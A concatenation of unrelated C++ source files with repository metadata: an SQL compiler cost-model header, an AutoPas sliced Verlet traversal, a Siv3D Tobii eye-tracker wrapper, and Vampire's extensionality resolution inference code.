ScmElapsedTimeCostLimit // The ScmElapsedTimeCostLimit is NCM (New Cost Model) implementation // of CostLimit abstract class. This is very similar to OCM (Old Cost Model) // implementation ElapsedTimeCostLimit. // --------------------------------------------------------------------- class ScmElapsedTimeCostLimit : public CostLimit { public: //-------------- // Constructors //-------------- ScmElapsedTimeCostLimit(const ElapsedTime& limit, const PlanPriority& priorityLimit, const Cost* ancestorCost, const Cost* otherKinCost) : upperLimit_(limit),cachedValue_(0.0),priorityLimit_(priorityLimit) { CMPASSERT( ancestorCost != NULL && otherKinCost != NULL && ancestorCost != otherKinCost); ancestorCost_ = new STMTHEAP Cost(*ancestorCost); otherKinCost_ = new STMTHEAP Cost(*otherKinCost); } ScmElapsedTimeCostLimit(const ScmElapsedTimeCostLimit& other) : upperLimit_(other.upperLimit_), priorityLimit_(other.priorityLimit_), ancestorCost_(new(CmpCommon::statementHeap()) Cost(*other.ancestorCost_)), otherKinCost_(new(CmpCommon::statementHeap()) Cost(*other.otherKinCost_)), cachedValue_(other.cachedValue_) {}; //------------ // Destructor //------------ virtual ~ScmElapsedTimeCostLimit() { delete ancestorCost_; delete otherKinCost_; } virtual CostLimit* copy() const { return new(CmpCommon::statementHeap()) ScmElapsedTimeCostLimit(*this); } virtual double getValue(const ReqdPhysicalProperty* const rpp) const; double getCachedValue (){ return cachedValue_; } void setCachedValue (double val) { cachedValue_ = val; } virtual COMPARE_RESULT compareCostLimits (CostLimit* other, const ReqdPhysicalProperty* const rpp = NULL); virtual COMPARE_RESULT compareWithCost (const Cost & other, const ReqdPhysicalProperty* const rpp = NULL); virtual COMPARE_RESULT compareWithPlanCost (CascadesPlan* plan, const ReqdPhysicalProperty* const rpp = NULL); virtual void ancestorAccum(const Cost& otherCost, const ReqdPhysicalProperty* const rpp = NULL); virtual void otherKinAccum(const Cost& otherCost); virtual void tryToReduce(const Cost& otherCost, const ReqdPhysicalProperty* const rpp = NULL); virtual void unilaterallyReduce(const ElapsedTime & timeReduction); // --------------------------------------------------------------------- // Type-safe pointer casts used for run-time type identification. // --------------------------------------------------------------------- //virtual ScmElapsedTimeCostLimit* castToScmElapsedTimeCostLimit() const; virtual const PlanPriority& priorityLimit() const {return priorityLimit_;} void setUpperLimit(ElapsedTime ul) { upperLimit_ = ul; } private: //-------------------------------------------------------------------- // Upper limit for elapsed time of all operators in final query tree. //-------------------------------------------------------------------- ElapsedTime upperLimit_; //-------------------------------------------------------------------- // Upper limit for plan priority of all operators in final query tree. //-------------------------------------------------------------------- PlanPriority priorityLimit_; //-------------------------------------------------------------------------- // Accumulated cost of all operators on path from root to current operator. //-------------------------------------------------------------------------- Cost* ancestorCost_; //------------------------------------------------------------- // Accumulated cost of all known siblings, cousins and uncles. //------------------------------------------------------------- Cost* otherKinCost_; // This is cached value of getValue() method for this costLimit. // It is used to cpeed up compare operations. double cachedValue_; }; // class ScmElapsedTimeCostLimit // ------------------------------------------------------------------- // CONSTANTS // ========= // $$$$ Convert all of these to become CostScalars after the latter // $$$$ is enhanced to support arithmetical operations with different // $$$$ numeric datatypes supported in C++.. // // These have all been added to the Defaults table (7/21/97) // // They are arranged in an alphabetical order to aid visual searches. // ----------------------------------------------------------------------- // ----------------------------------------------------------------------- // The executor in DP2 is capable of performing 56Kb transfers, // Actually, 56k 57344 bytes, but we assume that 1344 bytes are used // for storing data that is private to DP2/message system. // With Guardian, the 56K limit applies to the local ESP<->DP2 // and 32K for the non-local ESP<->DP2. // ----------------------------------------------------------------------- //#define DP2_MESSAGE_BUFFER_SIZE (56E+3) // used for ESP<->DP2 // ----------------------------------------------------------------------- // Actually, 32k 33568 bytes, but we assume that 1568 bytes are used // for storing data that is private to the OS/message system. // ----------------------------------------------------------------------- //#define OS_MESSAGE_BUFFER_SIZE (32E+3) // used for ESP<->ESP // ----------------------------------------------------------------------- // COST FACTORS // // $$$$ Convert all of these to become CostScalars after the latter // $$$$ is enhanced to support arithmetical operations with different // $$$$ numeric datatypes supported in C++.. // // These were all been added to the Defaults table (7/21/97) // // They are arranged in an alphabetical order to aid visual searches. // ----------------------------------------------------------------------- // ----------------------------------------------------------------------- // Assume 10 instructions for copying a row. // ----------------------------------------------------------------------- //#define CPUCOST_COPY_ROW (0.01) // ----------------------------------------------------------------------- // Assume 100 instructions for reading a row across the DM interface // (executor does a DM^GET in DP2) // ----------------------------------------------------------------------- //#define CPUCOST_DM_GET (0.1) // ----------------------------------------------------------------------- // Assume 100 instructions for updating/deleting a row across the DM // interface (executor does a DM^UPDATE in DP2) // ----------------------------------------------------------------------- //#define CPUCOST_DM_UPDATE (0.1) // ----------------------------------------------------------------------- // Assume 2000 instructions (20ms => same elapsed time as performing // 1 random IO) for process startup and initialization. // This number should be reduced when persistent ESP management services // are implemented. // ----------------------------------------------------------------------- //#define CPUCOST_ESP_INITIALIZATION (2.000) // ----------------------------------------------------------------------- // Assume 10 instructions for mapping a particular data stream to // a particular consumer process. // ----------------------------------------------------------------------- //#define CPUCOST_EXCHANGE_MAPPING_FUNCTION (0.01) // ----------------------------------------------------------------------- // Assume 10 instructions per partitioning key column for computing the // identifier for the hash or range partition. // ----------------------------------------------------------------------- //#define CPUCOST_EXCHANGE_SPLIT_FUNCTION (0.01) // ----------------------------------------------------------------------- // Assume 250 instructions for locking a row // ----------------------------------------------------------------------- //#define CPUCOST_LOCK_ROW (0.25) // ----------------------------------------------------------------------- // Assume 100 instructions for performing a predicate comparison. // ----------------------------------------------------------------------- //#define CPUCOST_PREDICATE_COMPARISON (0.1) // ----------------------------------------------------------------------- // Assume 20,000 instructions for initializing a subset. // Includes the cost of opening a file and initializing control // structures, but NOT positioning on the first row of the subset. // ----------------------------------------------------------------------- //#define CPUCOST_SUBSET_OPEN (20) // ----------------------------------------------------------------------- // Assume 10 instructions for establishing a reference to a tuple // in the executor's address space. This includes the copying of // pointers to the tuple into the executor's data structures. // ----------------------------------------------------------------------- //#define CPUCOST_TUPLE_REFERENCE (0.01) //<pb> // --------------------------------------------------------------------------- // declaration for class Cost Primitives // --------------------------------------------------------------------------- // --------------------------------------------------------------------------- // There are currently four major types of Cost primitives. // // 1. Cost primitives for basic executor operations: they represent the costs // of common executor operations typically performed by every operator. // Examples include allocation of buffer pools and buffers, free tuples // from a buffer and ATPs, etc. They are being represented as constant // costs and can be retrieved using getBasicCostFactor(opEnum) where // opEnum is a member of the enumeration type of operations (see // DefaultsTable.h in sqlcomp directory). // // 2. Cost primitives for evaluation of executor expressions: each represent // the cost of evaluating an expression or subexpression using the general // expression evaluator. Examples are evaluations of predicates, copying // a row, hashing a set of keys, etc. These are parameterised primitives // which are accessed individually using different interfaces. To retrieve // the cost of copying a set of columns for example, a call can be made to // cpuCostForCopySet(vis) where vis is the ValueIdSet representing those // columns. (In the long run, we might consider having these primitives // stored under each ItemExpr.) // // 3. Cost Primitives related to specific relational operators. Different // relational operators have different primitives operations which are not // captured by the general framework of the executor, as defined by the // primitives operations in (1) and (2). For example, some auxillary data // structures may be allocated (hash table and linked list). Also, misc // costs such as those associated with the overhead of the task scheduler, // which may be different for different operators, are also considered as // this type. (In the long run, we might consider having these primitives // stored under each RelExpr.) // // 4. Basic cost factors. This is a list of fudge factors used in the formulae // for combining costs of an operator and its children. Examples are those // used to determine how much I/O of one operator can overlap with I/O of // another operator. // --------------------------------------------------------------------------- class CostPrimitives { public: // ------------------------------------------------------------------------- // To copy one instance of vidset from one memory location to another. // // The method assumes that the values in the vidset are NOT necessarily // stored together in a contiguous piece of memory. Thus, we need to copy // each individual value over one after another. // ------------------------------------------------------------------------- static double cpuCostForCopySet (const ValueIdSet & vidset); // ------------------------------------------------------------------------- // To copy a row from one memory location to another. // // As opposed to the above method, this method assume that the row is stored // in a contiguous piece of memory. We could exploit the memcpy function and // save some overhead in theory. // ------------------------------------------------------------------------- static double cpuCostForCopyRow (Lng32 byteCount); // ------------------------------------------------------------------------- // To compare two instances of vidset. Comparison operators represented // here include: EQ, NE, GT, GE, LT, LE, but not LIKE. // // This does NOT account for the cost of evaluating the members of vidset // which might be expressions instead of column references or scalars. The // members are assumed to have been evaluated and their values stored in // memory before they are compared by this operation. // // No short circuit mechanism is assumed. That is, the cost returned is one // if the two instances are equal. If the client of this method applies this // operation on multiple rows and has some ideas of how often it evaluates // to TRUE and FALSE, it can adjust this to an average value assuming only // half the cost is incurred when evaluated to FALSE. // ------------------------------------------------------------------------- static double cpuCostForCompare (const ValueIdSet & vidset); // ------------------------------------------------------------------------- // To evaluate the Like comparison operation. vid must be associated with // the Like builtin function. // // $$$ This is a tentative measure before cpuCostForEvalFunc() is in place. // $$$ Like is a subclass of Function and we should be able to obtain its // $$$ cost from there. // ------------------------------------------------------------------------- static double cpuCostForLikeCompare (const ValueId & vid); // ------------------------------------------------------------------------- // To evaluate an arithmetic expression specified by vid. // // This method walks the skeleton of the item expression of vid which can // be made up of +,-,*,/,**, summing up the their costs along the way. It // treats any nodes other than those given above as leaf nodes. // ------------------------------------------------------------------------- static double cpuCostForEvalArithExpr (const ValueId & vid); // ------------------------------------------------------------------------- // To evaluate the function specified by vid. vid must be associated with // an object of a subclass of Function (defined in ItemFunc.h). The method // returns the cost of evaluating the function given that all its arguments // have already been evaluated. // // $$$ In the first release of CostPrimitives.C, the implementation of this // $$$ method is just a stub which returns a cost of 0. The plan is to store // $$$ the cost of evaluating a function as private members of the class of // $$$ the function itself. Changes in ItemFunc.h need to be made. // ------------------------------------------------------------------------- static double cpuCostForEvalFunc (const ValueId & vid); // ------------------------------------------------------------------------- // To evaluate the set of predicates given as vidset and AND the results. // // This method walks the AND/OR/NOT skeleton of the item expression tree of // each predicate in the set up to the point where comparison operators are // located. There, it uses cpuCostForCompare() or cpuCostForLikeCompare() to // determine the costs of the comparisons, and adds the costs to the costs // for evaluating the AND/OR/NOT operations themselves. // // Since it calls cpuCostForCompare() or cpuCostForLikeCompare once it sees // a comparison operator, it has the same assumption that the evaluation of // expressions on the two sides of the comparison operator is not accounted // for in the cost computed. // ------------------------------------------------------------------------- static double cpuCostForEvalPred (const ValueIdSet & vidset); // ------------------------------------------------------------------------- // To evaluate the expression specified by vid. The method is going to walk // the tree rooted at vid, get the costs of evaluating each node on its way // and sum up the costs. // // $$$ In the first release of CostPrimitives.C, the implementation of this // $$$ method is just a stub which returns a cost of 0. // ------------------------------------------------------------------------- static double cpuCostForEvalExpr (const ValueId & vid); // ------------------------------------------------------------------------- // To encode an instance of vidset. // // The encode function is mainly used in Sort to map a list of sort keys to // single value which preserves order. The single value is used by ArkSort // as a single key based on which the records are sorted. // // $$$ This function may be replaced by a call to costing method at the // $$$ CompEncode node subsequently if we move costs to individual function // $$$ subclasses. It might still be worthwhile to have an interface here // $$$ so that we don't have to synthesize a CompEncode object just to get // $$$ its cost. // ------------------------------------------------------------------------- static double cpuCostForEncode (const ValueIdSet & vidset); // ------------------------------------------------------------------------- // To hash a set of keys stored as vidset. // // The hash function is used by all hash operators to produce a hash value // from a set of hash keys. // // $$$ This function may be replaced by a call to costing method at the // $$$ Hash node subsequently if we move costs to individual function // $$$ subclasses. It might still be worthwhile to have an interface here // $$$ so that we don't have to synthesize a Hash object just to get its // $$$ cost. // ------------------------------------------------------------------------- static double cpuCostForHash (const ValueIdSet & vidset); // ------------------------------------------------------------------------- // To aggregate a row incrementally to the set of aggregates in vidset. // // Assume we already have somewhere in memory the aggregates up to the last // row, the method costs the incremental effort of aggregating a new row to // that set of aggregates already stored. We also assume the aggregates are // not nested and any arithmetic expressions within the aggregates have been // evaluated and stored. // ------------------------------------------------------------------------- static double cpuCostForAggrRow (const ValueIdSet & vidset); // ------------------------------------------------------------------------- // Basic cost factors used in the formulae to combine costs. // ------------------------------------------------------------------------- static double getBasicCostFactor (Lng32 mscf); private: }; // ----------------------------------------------------------------------- // This class is used for storing and propagating DP2 costing // data that is computed during synthesis of the DP2 leaf operators. // ----------------------------------------------------------------------- class DP2CostDataThatDependsOnSPP : public NABasicObject { public: DP2CostDataThatDependsOnSPP() : highestLeadingPartitionColumnCovered_(-1) ,repeatCountForOperatorsInDP2_( csMinusOne ) ,countOfCPUsExecutingDP2s_(-1) ,probesAtBusiestStream_ (csOne) ,rCountState(UNKNOWN) {} enum repeatCountSTATE { KEYCOLS_COVERED_BY_CONST=1, KEYCOLS_COVERED_BY_PROBE_COLS_CONST, KEYCOLS_NOT_COVERED, UPDATE_OPERATION, UNKNOWN }; // ----------------------------------------------------------------------- // Accessors: // ----------------------------------------------------------------------- CostScalar getProbesAtBusiestStream() const { return probesAtBusiestStream_;} Lng32 getHighestLeadingPartitionColumnCovered() const { return highestLeadingPartitionColumnCovered_; } CostScalar getRepeatCountForOperatorsInDP2() const { return repeatCountForOperatorsInDP2_; } Lng32 getCountOfCPUsExecutingDP2s() const { return countOfCPUsExecutingDP2s_; } // ----------------------------------------------------------------------- // Mutators: // ----------------------------------------------------------------------- void setProbesAtBusiestStream(const CostScalar & rc) { probesAtBusiestStream_ = rc;} void setHighestLeadingPartitionColumnCovered(Lng32 hlpcc) { highestLeadingPartitionColumnCovered_ = hlpcc; } void setRepeatCountForOperatorsInDP2(const CostScalar & rc) { repeatCountForOperatorsInDP2_ = rc; } void setRepeatCountState(const repeatCountSTATE rs) { rCountState=rs;} repeatCountSTATE getRepeatCountState() { return rCountState;} void setCountOfCPUsExecutingDP2s(Lng32 countCpus) { countOfCPUsExecutingDP2s_ = countCpus; } private: Lng32 highestLeadingPartitionColumnCovered_; CostScalar repeatCountForOperatorsInDP2_; Lng32 countOfCPUsExecutingDP2s_; CostScalar probesAtBusiestStream_; repeatCountSTATE rCountState; }; #endif /* COST_HDR */
89c57d85da510df15431a409bfec22f28e0d7547
2a8417c1c7e21161f2c072f798631ee9af60a078
/src/autopas/containers/verletListsCellBased/verletListsCells/traversals/SlicedTraversalVerlet.h
18587e545fa668f22941814aa588f08cfda329ec
[ "BSD-2-Clause" ]
permissive
ssauermann/AutoPas
a794fa2f5e0c30dfe75d427137328a7837b8c440
309f9a43840101933b8d06324ea910c780954f61
refs/heads/master
2020-12-18T13:01:57.469369
2020-01-17T10:34:43
2020-01-17T10:34:43
235,392,920
0
0
BSD-2-Clause
2020-01-21T16:51:28
2020-01-21T16:51:27
null
UTF-8
C++
false
false
3,134
h
SlicedTraversalVerlet.h
/** * @file SlicedTraversalVerlet.h * * @date 09 Jan 2019 * @author seckler */ #pragma once #include <algorithm> #include "autopas/containers/cellPairTraversals/SlicedBasedTraversal.h" #include "autopas/containers/verletListsCellBased/verletListsCells/traversals/VerletListsCellsTraversal.h" #include "autopas/utils/ThreeDimensionalMapping.h" #include "autopas/utils/WrapOpenMP.h" namespace autopas { /** * This class provides the sliced traversal. * * The traversal finds the longest dimension of the simulation domain and cuts * the domain in one slice (block) per thread along this dimension. Slices are * assigned to the threads in a round robin fashion. Each thread locks the cells * on the boundary wall to the previous slice with one lock. This lock is lifted * as soon the boundary wall is fully processed. * * @tparam ParticleCell the type of cells * @tparam PairwiseFunctor The functor that defines the interaction of two particles. * @tparam useSoA * @tparam useNewton3 */ template <class ParticleCell, class PairwiseFunctor, DataLayoutOption::Value dataLayout, bool useNewton3> class SlicedTraversalVerlet : public SlicedBasedTraversal<ParticleCell, PairwiseFunctor, dataLayout, useNewton3>, public VerletListsCellsTraversal<typename ParticleCell::ParticleType> { public: /** * Constructor of the sliced traversal. * @param dims The dimensions of the cellblock, i.e. the number of cells in x, * y and z direction. * @param interactionLength cutoff + skin * @param cellLength length of the underlying cells * @param pairwiseFunctor The functor that defines the interaction of two particles. */ explicit SlicedTraversalVerlet(const std::array<unsigned long, 3> &dims, PairwiseFunctor *pairwiseFunctor, double interactionLength, const std::array<double, 3> &cellLength) : SlicedBasedTraversal<ParticleCell, PairwiseFunctor, dataLayout, useNewton3>(dims, pairwiseFunctor, interactionLength, cellLength), _functor(pairwiseFunctor) {} void traverseParticlePairs() override; DataLayoutOption getDataLayout() const override { return dataLayout; } bool getUseNewton3() const override { return useNewton3; } TraversalOption getTraversalType() const override { return TraversalOption::slicedVerlet; } bool isApplicable() const override { return dataLayout == DataLayoutOption::aos; } private: PairwiseFunctor *_functor; }; template <class ParticleCell, class PairwiseFunctor, DataLayoutOption::Value dataLayout, bool useNewton3> inline void SlicedTraversalVerlet<ParticleCell, PairwiseFunctor, dataLayout, useNewton3>::traverseParticlePairs() { this->template slicedTraversal</*allCells*/ true>([&](unsigned long x, unsigned long y, unsigned long z) { auto baseIndex = utils::ThreeDimensionalMapping::threeToOneD(x, y, z, this->_cellsPerDimension); this->template iterateVerletListsCell<PairwiseFunctor, useNewton3>(*(this->_verletList), baseIndex, _functor); }); } } // namespace autopas
ae11e924637b1afa3b5e2ccef63cf05346c2bb70
9b1082956b2e60fd2e5b7b6e514d5c504b51bc7c
/Siv3D/Source/Siv3D/Tobii/CTobii_Windows.hpp
9c7c7212368f7c33d3ba71e5d2f795ea8dd64798
[ "MIT" ]
permissive
winjii/OpenSiv3D
c46dd17391408dde4b76189def4c9c92405ac4ea
ecd65536a1142a8f04c45c2d6a33fe93c386af78
refs/heads/master
2021-05-07T15:27:32.299985
2017-12-03T05:38:10
2017-12-28T08:23:52
110,008,252
0
0
null
2017-11-08T17:30:37
2017-11-08T17:30:36
null
UTF-8
C++
false
false
2,726
hpp
CTobii_Windows.hpp
//----------------------------------------------- // // This file is part of the Siv3D Engine. // // Copyright (c) 2008-2017 Ryo Suzuki // Copyright (c) 2016-2017 OpenSiv3D Project // // Licensed under the MIT License. // //----------------------------------------------- # pragma once # include <Siv3D/Platform.hpp> # if defined(SIV3D_TARGET_WINDOWS) # define NOMINMAX # define STRICT # define WIN32_LEAN_AND_MEAN # define _WIN32_WINNT _WIN32_WINNT_WIN7 # define NTDDI_VERSION NTDDI_WIN7 # include <Windows.h> # include <Siv3D/Tobii.hpp> # include <Siv3D/Optional.hpp> # include <Siv3D/PointVector.hpp> # include "../../../ThirdParty/tobii/tobii.h" # include "../../../ThirdParty/tobii/tobii_streams.h" namespace s3d { class Tobii::CTobii { private: HINSTANCE m_tobii = nullptr; tobii_api_t* m_api = nullptr; tobii_device_t* m_device = nullptr; GazeInfo m_gazeInfo; decltype(tobii_api_create)* p_tobii_api_create = nullptr; decltype(tobii_device_create)* p_tobii_device_create = nullptr; decltype(tobii_device_destroy)* p_tobii_device_destroy = nullptr; decltype(tobii_api_destroy)* p_tobii_api_destroy = nullptr; decltype(tobii_reconnect)* p_tobii_reconnect = nullptr; decltype(tobii_get_device_info)* p_tobii_get_device_info = nullptr; decltype(tobii_stream_supported)* p_tobii_stream_supported = nullptr; decltype(tobii_gaze_point_subscribe)* p_tobii_gaze_point_subscribe = nullptr; decltype(tobii_gaze_point_unsubscribe)* p_tobii_gaze_point_unsubscribe = nullptr; decltype(tobii_gaze_origin_subscribe)* p_tobii_gaze_origin_subscribe = nullptr; decltype(tobii_gaze_origin_unsubscribe)* p_tobii_gaze_origin_unsubscribe = nullptr; decltype(tobii_user_presence_subscribe)* p_tobii_user_presence_subscribe = nullptr; decltype(tobii_user_presence_unsubscribe)* p_tobii_user_presence_unsubscribe = nullptr; decltype(tobii_process_callbacks)* p_tobii_process_callbacks = nullptr; bool m_initialized = false; bool m_connected = false; bool m_hasNewFrame = false; static void gaze_point_callback(const tobii_gaze_point_t* gazePoint, void* userData); static void gaze_origin_callback(const tobii_gaze_origin_t* gazeOrigin, void* userData); static void presence_callback(tobii_user_presence_status_t status, std::int64_t timestamp_us, void* userData); void onGazePoint(const Optional<Vec2>& pos); void onGazeOrigin(const Optional<Vec3>& left, const Optional<Vec3>& right); void onPresence(bool presence); public: explicit CTobii(const FilePath& dllPath); ~CTobii(); bool reconnect(); bool isInitialized() const noexcept; bool isConnected() const noexcept; bool hasNewFrame(); bool getFrame(GazeInfo& info); }; } # endif
b50a15b9112d0221a95956255efa8f99280e5f22
f839644e91620aedbd0b2ea9801bfb657e11f3ea
/Inferences/ExtensionalityResolution.cpp
fc143934a7e36985176bac2fb963692155d36861
[ "BSD-2-Clause", "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
vprover/vampire
1c92e01d278a291e4e7785cb3a646dea4b3507af
a488b6e3a46f7b8b6a32ec81068ec6d0f08292f4
refs/heads/master
2023-08-09T04:07:06.422386
2023-08-03T10:14:52
2023-08-03T10:15:14
18,067,910
247
54
NOASSERTION
2023-08-29T16:13:13
2014-03-24T15:46:00
C++
UTF-8
C++
false
false
10,274
cpp
ExtensionalityResolution.cpp
/* * This file is part of the source code of the software program * Vampire. It is protected by applicable * copyright laws. * * This source code is distributed under the licence found here * https://vprover.github.io/license.html * and in the source directory */ /** * @file ExtensionalityResolution.cpp * Implements class ExtensionalityResolution. */ #include "Debug/RuntimeStatistics.hpp" #include "Lib/Environment.hpp" #include "Lib/Metaiterators.hpp" #include "Lib/PairUtils.hpp" #include "Lib/VirtualIterator.hpp" #include "Kernel/Clause.hpp" #include "Kernel/Unit.hpp" #include "Kernel/Inference.hpp" #include "Kernel/RobSubstitution.hpp" #include "Kernel/SortHelper.hpp" #include "Kernel/ColorHelper.hpp" #include "Saturation/SaturationAlgorithm.hpp" #include "Shell/Options.hpp" #include "Shell/Statistics.hpp" #include "ExtensionalityResolution.hpp" using namespace Inferences; using namespace Lib; using namespace Kernel; using namespace Indexing; using namespace Saturation; ///////////////// Forward Extensionality ////////////////////// /** * Functor for pairing negative selected literals of the given clause with all * sort-matching extensionality clauses for forward extensionality inferences. * @since 05/01/2014 * @author Bernhard Kragl */ struct ExtensionalityResolution::ForwardPairingFn { ForwardPairingFn (ExtensionalityClauseContainer* extClauses) : _extClauses(extClauses) {} VirtualIterator<pair<Literal*, ExtensionalityClause> > operator()(Literal* lit) { if (!lit->isEquality() || lit->isPositive()) { return VirtualIterator<pair<Literal*, ExtensionalityClause> >::getEmpty(); } TermList s = SortHelper::getEqualityArgumentSort(lit); return pvi( pushPairIntoRightIterator( lit, _extClauses->activeIterator(s))); } private: ExtensionalityClauseContainer* _extClauses; }; /** * This functor computes the unifications between the positive equality of an * extensionality clause and the matching negative equality in the given clause. */ struct ExtensionalityResolution::ForwardUnificationsFn { ForwardUnificationsFn() { _subst = RobSubstitutionSP(new RobSubstitution()); } VirtualIterator<pair<pair<Literal*, ExtensionalityClause>, RobSubstitution*> > operator()(pair<Literal*, ExtensionalityClause> arg) { Literal* trmEq = arg.first; Literal* varEq = arg.second.literal; SubstIterator unifs = _subst->unifiers(varEq,0,trmEq,1,true); if (!unifs.hasNext()) { return VirtualIterator<pair<pair<Literal*, ExtensionalityClause>, RobSubstitution*> >::getEmpty(); } return pvi(pushPairIntoRightIterator(arg, unifs)); } private: RobSubstitutionSP _subst; }; /** * Generate the result clause of a forward extensionality inference. */ struct ExtensionalityResolution::ForwardResultFn { ForwardResultFn(Clause* otherCl, ExtensionalityResolution& parent) : _otherCl(otherCl), _parent(parent) {} Clause* operator()(pair<pair<Literal*, ExtensionalityClause>, RobSubstitution*> arg) { RobSubstitution* subst = arg.second; Literal* otherLit = arg.first.first; Clause* extCl = arg.first.second.clause; Literal* extLit = arg.first.second.literal; return performExtensionalityResolution(extCl, extLit, _otherCl, otherLit, subst, env.statistics->forwardExtensionalityResolution, _parent.getOptions()); } private: Clause* _otherCl; ExtensionalityResolution& _parent; }; ///////////////// Backward Extensionality ////////////////////// /** * Functor for filtering negative equality literals of particular sort. */ struct ExtensionalityResolution::NegEqSortFn { NegEqSortFn (TermList sort) : _sort(sort) {} bool operator()(Literal* lit) { return lit->isEquality() && lit->isNegative() && SortHelper::getEqualityArgumentSort(lit) == _sort; } private: TermList _sort; }; /** * Functor for filtering selected negative literals of particular sort (the sort * of the given extensionality clause) in active clauses. */ struct ExtensionalityResolution::BackwardPairingFn { BackwardPairingFn (TermList sort) : _sort(sort) {} VirtualIterator<pair<Clause*, Literal*> > operator()(Clause* cl) { return pvi(pushPairIntoRightIterator( cl, getFilteredIterator( cl->getSelectedLiteralIterator(), NegEqSortFn(_sort)))); } private: TermList _sort; }; /** * This functor computes the unifications between the positive equality of the * given extensionality clause and a matching negative equality in some active * clause. */ struct ExtensionalityResolution::BackwardUnificationsFn { BackwardUnificationsFn(Literal* extLit) : _extLit (extLit) { _subst = RobSubstitutionSP(new RobSubstitution()); } VirtualIterator<pair<pair<Clause*, Literal*>, RobSubstitution*> > operator()(pair<Clause*, Literal*> arg) { Literal* otherLit = arg.second; SubstIterator unifs = _subst->unifiers(_extLit,0,otherLit,1,true); if (!unifs.hasNext()) { return VirtualIterator<pair<pair<Clause*, Literal*>, RobSubstitution*> >::getEmpty(); } return pvi(pushPairIntoRightIterator(arg, unifs)); } private: Literal* _extLit; RobSubstitutionSP _subst; }; /** * Generate the result clause of a backward extensionality inference. */ struct ExtensionalityResolution::BackwardResultFn { BackwardResultFn(Clause* extCl, Literal* extLit, ExtensionalityResolution& parent) : _extCl(extCl), _extLit(extLit), _parent(parent) {} Clause* operator()(pair<pair<Clause*, Literal*>, RobSubstitution*> arg) { RobSubstitution* subst = arg.second; Clause* otherCl = arg.first.first; Literal* otherLit = arg.first.second; return performExtensionalityResolution(_extCl, _extLit, otherCl, otherLit, subst, env.statistics->backwardExtensionalityResolution, _parent.getOptions()); } private: Clause* _extCl; Literal* _extLit; ExtensionalityResolution& _parent; }; ///////////////// Extensionality ////////////////////// /** * Generate clause by applying @c subst to all literals of @c extCl (except @c * extLit) and all literals of @c otherCl (except @c otherLit). */ Clause* ExtensionalityResolution::performExtensionalityResolution( Clause* extCl, Literal* extLit, Clause* otherCl, Literal* otherLit, RobSubstitution* subst, unsigned& counter, const Options& opts) { if(!ColorHelper::compatible(extCl->color(),otherCl->color()) ) { env.statistics->inferencesSkippedDueToColors++; if(opts.showBlocked()) { env.beginOutput(); env.out()<<"Blocked extensionality resolution of "<<extCl->toString()<<" and "<<otherCl->toString()<<endl; env.endOutput(); } return 0; } unsigned extLen = extCl->length(); unsigned otherLen = otherCl->length(); unsigned newLength = otherLen + extLen - 2; Clause* res = new(newLength) Clause(newLength, GeneratingInference2(InferenceRule::EXTENSIONALITY_RESOLUTION, extCl, otherCl)); unsigned next = 0; for(unsigned i = 0; i < extLen; i++) { Literal* curr = (*extCl)[i]; if (curr != extLit) { (*res)[next++] = subst->apply(curr, 0); } } for(unsigned i = 0; i < otherLen; i++) { Literal* curr = (*otherCl)[i]; if (curr != otherLit) { (*res)[next++] = subst->apply(curr, 1); } } ASS_EQ(next,newLength); counter++; return res; } /** * Construct iterator, returning the results for forward and backward * extensionality on @c premise. */ ClauseIterator ExtensionalityResolution::generateClauses(Clause* premise) { ExtensionalityClauseContainer* extClauses = _salg->getExtensionalityClauseContainer(); ClauseIterator backwardIterator; Literal* extLit = extClauses->addIfExtensionality(premise); if (extLit) { // Get all <clause,literal> pairs, where clause is an active clause // and literal a negative equality in clause of same sort as the given // extensionality clause. auto it1 = getMapAndFlattenIterator( // (possible) TODO: We do not actually maintain a set neg_equal of // active clauses having a negative selected equality literal as // described in the extensionality resolution paper. Instead we // iterate the active clauses every time a backward extensionality // resolution inference has to be performed under the assumption // that this happens rarely. Experiments could clarify, which // solution is more efficient. _salg->activeClauses(), BackwardPairingFn(extLit->twoVarEqSort())); // For each <clause,literal> pair, we get 2 substitutions (by unifying // X=Y from given extensionality clause and literal. // Elements: <<clause,literal>,subst> auto it2 = getMapAndFlattenIterator(it1,BackwardUnificationsFn(extLit)); // Construct result clause by applying substitution. auto it3 = getMappingIterator(it2,BackwardResultFn(premise, extLit, *this)); // filter out only non-zero results auto it4 = getFilteredIterator(it3, NonzeroFn()); backwardIterator = pvi(it4); } else { backwardIterator = ClauseIterator::getEmpty(); } // For each selected negative equality in given clause, find all // active extensionality clauses of same sort. // Elements: <literal,extClause> auto it1 = getMapAndFlattenIterator(premise->getSelectedLiteralIterator(),ForwardPairingFn(extClauses)); // For each <literal,extClause> pair, we get 2 substitutions (by // unifying literal and extClause.literal, i.e. the variable equality in // extensionality clause). // Elements: <<literal,extClause>,subst> auto it2 = getMapAndFlattenIterator(it1,ForwardUnificationsFn()); // Construct result clause by applying substitution. auto it3 = getMappingIterator(it2,ForwardResultFn(premise, *this)); // filter out only non-zero results auto it4 = getFilteredIterator(it3, NonzeroFn()); // Concatenate results from forward extensionality and (above constructed) // backward extensionality. auto it5 = getConcatenatedIterator(it4,backwardIterator); return pvi(it5); }
db78b09b337cd6a29e6358ecb2763072bf5a4cc3
64089ee58be0bee590c0e9c02dbb3d4c6ca78ec2
/src/ecs/entity.h
a060aa47ece207de9dd7d9f7ad7f264f01823b09
[]
no_license
Niakr1s/ecs
a452547b36ec4566755cfaa24007cf3c6101699d
720b29ea943b07640041ebda6241ca096c6579fc
refs/heads/master
2020-12-19T22:49:14.984319
2020-01-24T19:00:35
2020-01-24T19:00:35
235,873,943
0
0
null
null
null
null
UTF-8
C++
false
false
2,014
h
entity.h
